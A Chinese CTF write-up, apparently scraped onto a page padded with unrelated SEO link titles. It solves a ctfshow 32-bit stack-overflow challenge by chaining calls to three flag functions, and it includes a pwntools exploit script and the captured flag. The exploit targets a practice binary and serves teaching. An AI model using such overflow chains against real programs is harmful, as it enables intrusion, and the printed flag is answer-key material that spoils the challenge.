当前位置: 首页 > news >正文

网站建设运用软件小程序低代码开发平台

网站建设运用软件,小程序低代码开发平台,网站建设项目描述范文,长沙的网站建设公司你是我的谁,我的我是你的谁 32 位程序,开启 NX 保护 看主函数 跟进 ctfshow 函数 gets 存在溢出 注意到有三个与 flag 相关的函数 先看 flag 函数 输出 flag 的条件: if ( flag1 && flag2 && a1 0xBDBDBDBD ) 看 flag_fu…

你是我的谁,我的我是你的谁

32 位程序,开启 NX 保护

看主函数

跟进 ctfshow 函数

gets 存在溢出

注意到有三个与 flag 相关的函数

先看 flag 函数

输出 flag 的条件:

 if ( flag1 && flag2 && a1 == 0xBDBDBDBD )

看 flag_func1 函数

会直接将 flag1 置 1

看 flag_func2 函数

flag2 置 1 的条件

  if ( flag1 && a1 == 0xACACACAC )

那么思路就很清晰了,溢出后先跳到 flag_func1,将 flag1 置 1

再跳到 flag_func2,满足条件让 flag2 置 1

最后跳到 flag 函数,满足条件读取打印 flag

写 exp:

# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28295)elf = ELF('./pwn')
flag_addr = elf.sym['flag']
flag1_addr = elf.sym['flag_func1']
flag2_addr = elf.sym['flag_func2']payload = cyclic(0x2c+4)
payload += p32(flag1_addr) 
payload += p32(flag2_addr) 
payload += p32(flag_addr)
payload += p32(0xACACACAC) + p32(0xBDBDBDBD)io.sendlineafter('Input your flag: ',payload)io.interactive()

没有问题

拿到 flag: ctfshow{e4a15f8b-48a0-46ce-9783-7fa48bef281a}

http://www.yayakq.cn/news/954802/

相关文章:

  • 网站开发多少费用哪个网站做图文素材多
  • 呼和浩特网站建设哪家最便宜wordpress增加内存
  • 科技网站首页欣赏小型求职招聘网站源码 php
  • 云主机网站如何备份在线修图编辑器免费
  • 网站开发先前台和后台wordpress 一个主题
  • 网站建设需要什么岗位临沧市网站建设
  • 重庆铜梁网站建设永州建设公司网站
  • 做一公司网站wordpress心得
  • 做个自己的影院网站怎么做网站源码爬取
  • 书城网站建设规划书南昌seo全网营销
  • 学校门户网站建设的意义成都seo优化公司
  • 无网站做cpa推广高端广告公司网站建设价格
  • 桂林做手机网站建设个人网站作品下载
  • oa软件排行百度关键词优化点击 教程
  • 会展网站的建设情况红色系网站设计
  • 无锡建网站电话图片制作教程
  • 邵东网站建设紫金网站建设公司
  • 深圳做网站专业国外网站建设方案
  • 阿里云网站备案多久湖南网站建设案例
  • 竞价单页网站制作教程网站的版式
  • 学校为什么要建设网站中国企业在线
  • 图书网站建设哪些网站是单页面应用程序
  • 社区信息建设网站京津冀协同发展的路径主要涉及
  • 宝塔面板上传自己做的网站三网合一 网站
  • 苏州市住房和城乡建设局信息网站公司三站合一的网站
  • 企业网站建设移动偃师网络营销的概念
  • 营销网站的特征珠海企业建站程序
  • 网站服务器不稳定怎么办佛山优化推广
  • 我有域名和云服务器怎么做网站专业建设典型案例
  • 2018做网站前景如何什么叫模板网站